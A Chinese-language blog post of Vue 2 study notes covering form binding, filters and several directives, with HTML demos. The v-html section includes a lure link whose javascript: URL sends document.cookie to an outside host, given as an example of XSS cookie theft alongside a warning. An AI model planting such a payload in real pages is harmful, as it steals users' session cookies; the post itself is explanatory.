2023/1/6 Vue学习笔记-2

news2025/1/16 5:47:49

1 收集表单数据

收集表单数据：

若：<input type="text">，则v-model收集的是value的值，用户输入的就是value值。
若：<input type="radio">，则v-modle收集的是value的值，且要给标签配置value值。
若：<input type="checkbox">
1.没有配置input的value属性，那么收集的就是checked（勾选or未勾选，是布尔值）；
 2.配置input的value属性：
（1）v-model的初始值是非数组，那么收集的就是checked（勾选or未勾选，是布尔值）
（2）v-model的初始值是数组，那么收集的就是value组成的数组

备注：v-model的三个修饰符：

 lazy：失去焦点再收集数据
 number：输入字符串转为有效数字
 trim：输入首位空格过滤

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.1/vue.js"></script>
</head>
<body>
<div id="form">
    <form @submit.prevent="demo">
        账号：<input type="text" v-model.trim="userInfo.account"><br/><br/>
        密码：<input type="password" v-model="userInfo.password"><br/><br/>
        年龄：<input type="number" v-model.number="userInfo.age"><br/><br/>
        性别：<br/><br/>
        男：<input type="radio" name="sex" v-model="userInfo.sex" value="male">
        女：<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br/><br/>
        爱好：<br/><br/>
        学习<input type="checkbox" v-model="userInfo.hobby" value="study"><br/><br/>
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game"><br/><br/>
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br/><br/>
        所属校区：<br/><br/>
        <select v-model="userInfo.city">
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
            <option value="wuhan">武汉</option>
        </select><br/><br/>
        其他信息：
        <textarea v-model.lazy="userInfo.other"></textarea><br/><br/>
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="https://www.baidu.com">用户协议</a><br/><br/>
        <button>提交</button>
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    new Vue({
        el: '#form',
        data: {
            userInfo: {
                account: '',
                password: '',
                age: 18,
                sex: 'female',
                hobby: [],
                city: 'beijing',
                other: '',
                agree: ''
            }
        },
        methods: {
            demo() {
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>
</body>
</html>

在这里插入图片描述

2 过滤器

过滤器：
定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
语法：
1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{ }}
2.使用过滤器：{{ xxx | 过滤器名 }} 或 v-bind:属性 = " xxx | 过滤器名"
备注：
1.过滤器也可以接收额外参数，多个过滤器也可以串联
2.并没有改变原本的数据，是产生新的对应的数据

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.1/vue.js"></script>
    <script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script>
</head>
<body>
<div id="filter">
    <h1>显示格式化后的时间</h1>
    <!-- 计算属性实现 -->
    <h2>计算属性实现 - 现在是：{{ fmtDate }}</h2>
    <!-- methods实现 -->
    <h2>methods实现 - 现在是：{{ getFmtTime() }}</h2>
    <!-- 过滤器实现 -->
    <h2>过滤器实现 - 现在是：{{ date | dateFormate }}</h2>
    <!-- 过滤器实现（传参） -->
    <h2>过滤器实现（传参） - 现在是：{{ date | dateFormate('YYYY_MM_DD') }}</h2>
    <h2>过滤器实现（传参） - 现在是：{{ date | dateFormate('YYYY_MM_DD') | mySlice() }}</h2>

    <h2 :x="msg | mySlice">北京大学</h2>
</div>

<div id="filter-2">
    <h2>{{ msg | mySlice }}</h2>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    // 全局过滤器
    Vue.filter('mySlice', function (value) {
        return value.slice(0, 4)
    })
    new Vue({
        el: '#filter',
        data: {
            date: Date.now(),
            msg: 'hello-nihao'
        },
        computed: {
            fmtDate() {
                return dayjs(this.date).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        methods: {
            getFmtTime() {
                return dayjs(this.date).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        // 局部过滤器
        filters: {
            dateFormate(value, str = 'YYYY-MM-DD HH:mm:ss') {
                return dayjs(value).format(str)
            },
            /*mySlice(value) {
                return value.slice(0, 4)
            }*/
        }
    })

    new Vue({
        el: '#filter-2',
        data: {
            msg: 'hello,beijing!'
        }
    })
</script>

</body>
</html>

在这里插入图片描述

3 v-text

我们学过的指令：

v-bind：单向绑定解析表达式，可简写为：xxx
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存在）
v-else：条件渲染（动态控制节点是否存在）
v-show：条件渲染（动态控制节点是否展示）

v-text指令：

 1.作用：向其所在的节点中渲染文本内容。
 2.与插值语法的区别：v-text会替换掉节点中的内容，{{xxx}}则不会。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.1/vue.js"></script>
</head>
<body>
<div id="v-text">
    <div>hello - {{ name }}</div>
    <div v-text="name">hello - </div>
</div>

<script type="text/javascript">
    new Vue({
        el: '#v-text',
        data: {
            name: 'zhaoshuai-lc@inspur.com'
        }
    })
</script>
</body>
</html>

4 v-html

在这里插入图片描述
在这里插入图片描述
Cookie Editor 这个插件可以导出、导入cookie。
document.cookie 就能获得该网站的所有cookie。
网页中有些会设置httpOnly来确保cookie的安全性。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
    <script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.1/vue.js"></script>
</head>
<body>
<div id="html">
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#html',
        data: {
            str: '<h3>你好啊！<h3/>',
            str2: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！<a/>'
        }
    })
</script>
</body>
</html>

v-html指令：
1.作用：向指定节点中渲染包含html结构的内容。
2.与插值语法的区别：

（1）v-html会替换掉节点中所有的内容，{{ xxx }}则不会。
（2）v-html可识别html结构。

3.严重注意：v-html有安全性问题！

（1）在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
（2）一定要在可信的内容上使用v-html，永不要用在用户提交的内容上

5 v-cloak

JS阻塞，因为浏览器渲染是一个单线程过程，所以会有js阻塞的问题。
v-cloak指令（没有值）：

1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{ xxx }}的问题

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
    <script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.1/vue.js"></script>
    <style>
        [v-cloak] {
            display: none;
        }
    </style>
</head>
<body>
<div id="cloak">
    <h2 v-cloak>{{ name }}</h2>
</div>

<!-- 这里没有老师那个文件，随便选了个加载慢的，效果差不多 -->
<link rel="stylesheet" href="https://unpkg.com/element-ui/lib/theme-chalk/index.css">
<script src="https://unpkg.com/element-ui/lib/index.js"></script>
<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#cloak',
        data: {
            name: '北京大学'
        }
    })
</script>
</body>
</html>

6 v-once

v-once指令：

1.v-once所在节点在初次动态渲染后，就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
    <script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.1/vue.js"></script>
</head>
<body>
<div id="once">
    <h2 v-once>初始化的n值是:{{ n }}</h2>
    <h2>当前n的值是:{{ n }}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#once',
        data: {
            n: 1
        }
    })
</script>
</body>
</html>

在这里插入图片描述

7 v-pre

不要把v-once和之前提到的once搞混了，前者是指令，后者是事件修饰符。
v-pre指令：

1.跳过其所在节点的编译过程。
2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
    <script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.1/vue.js"></script>
</head>
<body>
<div id="pre">
    <h2 v-pre>Vue其实很简单</h2>
    <h2>当前n的值是:{{ n }}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#pre',
        data: {
            n: 1
        }
    })
</script>
</body>
</html>

未完待续。。。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/145270.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

String、StringBuffer和StringBuilder

String、StringBuffer和StringBuilder

String 类是不可变类&#xff0c;即一旦一个 String 对象被创建以后&#xff0c;包含在这个对象中的字符序列是不可改变的&#xff0c;直至这个对象被销毁。 Java 提供了两个可变字符串类 StringBuffer 和 StringBuilder&#xff0c;中文翻译为“字符串缓冲区”。 StringBuil…
阅读更多...
Python和MySQL对比（3）：用Pandas 实现MySQL的子查询、like_regexp、case when_if语法效果

Python和MySQL对比（3）：用Pandas 实现MySQL的子查询、like_regexp、case when_if语法效果

文章目录一、前言二、语法对比数据表子查询like/regexpcase when/ifin三、小结一、前言 环境&#xff1a; windows11 64位 Python3.9 MySQL8 pandas1.4.2 本文主要介绍 MySQL 中的子查询、like/regexp、case when/if 如何使用pandas实现&#xff0c;同时二者又有什么区别。 注…
阅读更多...
FPGA中二进制数的运算

FPGA中二进制数的运算

一、B比特的二进制数可以表示的范围 无符号整数&#xff1a;0~2B-1 有符号整数&#xff1a;-2B-1~2B-1-1 二、有符号数&#xff08;补码&#xff09;与十进制数之间的转换 D&#xff1a;十进制数 B&#xff1a;二进制数aB-1aB-2a1a0的位数 aB-1:符号位 三、符号位拓展 在使…
阅读更多...
Android 12 蓝牙适配 Java版

Android 12 蓝牙适配 Java版

Android 12.0蓝牙适配前言正文一、Android版本中蓝牙简介二、新建项目① 配置build.gradle② 配置AndroidManifest.xml三、打开蓝牙① 打开蓝牙意图② 请求BLUETOOTH_CONNECT权限意图四、蓝牙扫描① 扫描者② 扫描回调③ 扫描方法④ 执行扫描⑤ 应用不推导物理位置五、页面显示…
阅读更多...
基于Java+Springboot+vue体育用品销售商城平台设计和实现

基于Java+Springboot+vue体育用品销售商城平台设计和实现

基于JavaSpringbootvue体育用品销售商城平台设计和实现 博主介绍&#xff1a;5年java开发经验&#xff0c;专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 超级帅帅吴 Java毕设项目精品实战案例《500套》 欢迎点赞 收藏 ⭐留言 文末获取…
阅读更多...
Docker部署JAVA项目

Docker部署JAVA项目

一、 Docker安装 1、yum 包更新到最新 yum update 2、安装需要的软件包&#xff0c; yum-util 提供yum-config-manager功能&#xff0c;另外两个是devicemapper驱动依赖的 yum install yum-utils device-mapper-persistent-data lvm2 -y 3、 设置yum源 yum-config-manage…
阅读更多...
等级保护----1、网络安全等级保护一级安全测评要求

等级保护----1、网络安全等级保护一级安全测评要求

文章目录一、安全测评通用要求1、安全物理环境1.1 物理访问控制1.2 防盗窃和防破坏1.3 防雷击1.4 防火1.5 防水和防潮1.6 温湿度控制1.7 电力供应2、安全通信网络2.1 通信传输2.2 可信验证3、安全区域边界3.1 边界防护3.2 访问控制3.3 可信验证4、安全计算环境4.1 身份鉴别4.2 …
阅读更多...
使用关键字like进行模糊查询

使用关键字like进行模糊查询

【模糊查询】&#xff1a;使用关键字like [支持%或者下划线匹配&#xff0c;%匹配任意多个字符&#xff0c;一个下划线只匹配任意一个字符。] 实例&#xff1a; 查询名字中带有字母o的员工&#xff1a; select * from emp where ename like %o%; 找出名字以T结…
阅读更多...
2000-2021.3月土地交易高频数据库（含爬取代码和数据）

2000-2021.3月土地交易高频数据库（含爬取代码和数据）

2000-2021.3月土地交易高频数据库&#xff08;含爬取代码和数据&#xff09; 1、时间跨度&#xff1a;2000-2021年3月1日 2、指标&#xff1a;年份、电子监管号、所在省份、所在城市、所在区县、经度、纬度、项目名称、项目位置、面积、土地来源、土地用途、供地方式、土地使…
阅读更多...
Python CV 实现风格化图片转换

Python CV 实现风格化图片转换

前几天遇到一个风格化图片转换的需求&#xff0c;效果像这样&#xff1a; 像这样&#xff0c;需要用纯色圆形填充图像&#xff0c;形成风格化的图片样式。 实现原理 整体原理还是比较简单的&#xff0c;有点类似与马赛克的处理方式。 假设图片宽 w 像素&#xff0c;高 h 像素…
阅读更多...
FLStudio21中文版下载及水果软件2023功能介绍

FLStudio21中文版下载及水果软件2023功能介绍

如今&#xff0c;越来越多的音乐人选择使用音乐制作软件来进行音乐的创作&#xff0c;一台电脑、一款软件以及一个外接MIDI就是一个小型的音乐工作站&#xff0c;而如今非常流行的FL Studio&#xff08;在国内被称为“水果”&#xff09;成了音乐界无论萌新还是大佬们的首选&am…
阅读更多...
二阶微分算子与反锐化屏蔽

二阶微分算子与反锐化屏蔽

二阶微分算子 任意二阶微分必须满足&#xff1a;灰度不变的区域微分值为0&#xff1b;灰度台阶或斜坡的起点处微分值非0&#xff1b;沿着斜坡的微分值为0。由于处理离散值&#xff0c;因此微分用差分近似&#xff1a; 二维图像f(x,y),沿着两个空间坐标轴求解二阶微分&#xff1…
阅读更多...
逆向-还原代码之little-or-big (Arm 64)

逆向-还原代码之little-or-big (Arm 64)

// 源代码 #include <stdio.h> /* * 2016/9/29 yu liang. */ int test_one(void) { int i1; char *p(char *)&i; if(*p1) printf("Little_endian\n"); // Little_endian else printf("B…
阅读更多...
一文弄清楚Vue中的computed与watch的区别

一文弄清楚Vue中的computed与watch的区别

1.实现业务当我们点击按钮&#xff0c;就会切换h1标签的语句内容&#xff0c;再次点击按钮&#xff0c;h1标签的语句内容就会恢复&#xff0c;每次点击按钮&#xff0c;浏览器都会输出一个语句来表达监视到了h1的内容改变2.Vue中的computed计算属性2.1利用Vue中的computed计算属…
阅读更多...
Windows server——部署DHCP服务

Windows server——部署DHCP服务

作者简介&#xff1a;一名云计算网络运维人员、每天分享网络与运维的技术与干货。 座右铭&#xff1a;低头赶路&#xff0c;敬事如仪 个人主页&#xff1a;网络豆的主页​​​​​​ 目录 前言 本章重点 一.DHCP概述 1.DHCP服务的好处 二.DHCP的工作原理 1.DHCP的分配方…
阅读更多...
【云原生 | 50】Docker三剑客之Docker Compose第一节

【云原生 | 50】Docker三剑客之Docker Compose第一节

&#x1f341;博主简介&#xff1a; &#x1f3c5;云计算领域优质创作者 &#x1f3c5;2022年CSDN新星计划python赛道第一名 &#x1f3c5;2022年CSDN原力计划优质作者 &#x1f3c5;阿里云ACE认证高级工程师 &#x1f3c5;阿里云开发者社区专…
阅读更多...
pinia和vuex的区别

pinia和vuex的区别

pinia和vuex的区别 什么是“状态管理模式”&#xff1f; const Counter {// 状态data () {return {count: 0}},// 视图template: <div>{{ count }}</div>,// 操作methods: {increment () { this.count}} }createApp(Counter).mount(#app)这个状态自管理应用包含…
阅读更多...
字符串题记

字符串题记

经典字符串leetcode题 文章目录经典字符串leetcode题反转字符串第一种方法&#xff1a;使用string里的库函数reverse第二种方法&#xff1a;使用自己写的swap函数第一种swap函数第二种swap函数151.翻转字符串里的单词28. 实现 strStr()KMP算法459.重复的子字符串第一种&#xf…
阅读更多...
UE4 后期材质节点学习

UE4 后期材质节点学习

以下对应的效果&#xff1a; 材质后期在这里进行设置&#xff1a; 在这里调整场景的整体的饱和度 场景的对比度 灰度系数的调整 高光度/图像增益 灰阶偏移的设置 想了解这些专业名词可以看&#xff1a;相机gain lift gamma offset参数意义_baobei0112的博客-CSDN博客_相机gai…
阅读更多...
Redis学习笔记（一）Linux下安装部署Redis

Redis学习笔记（一）Linux下安装部署Redis

一、下载Redis 1、进入官网&#xff0c;进入download页面 https://redis.io/download&#xff0c;找到“List of all releases and hash digests”&#xff0c;点击“ listing of all previous Redis releases on the releases page”&#xff0c;可以进入所有版本下载页面。 …
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023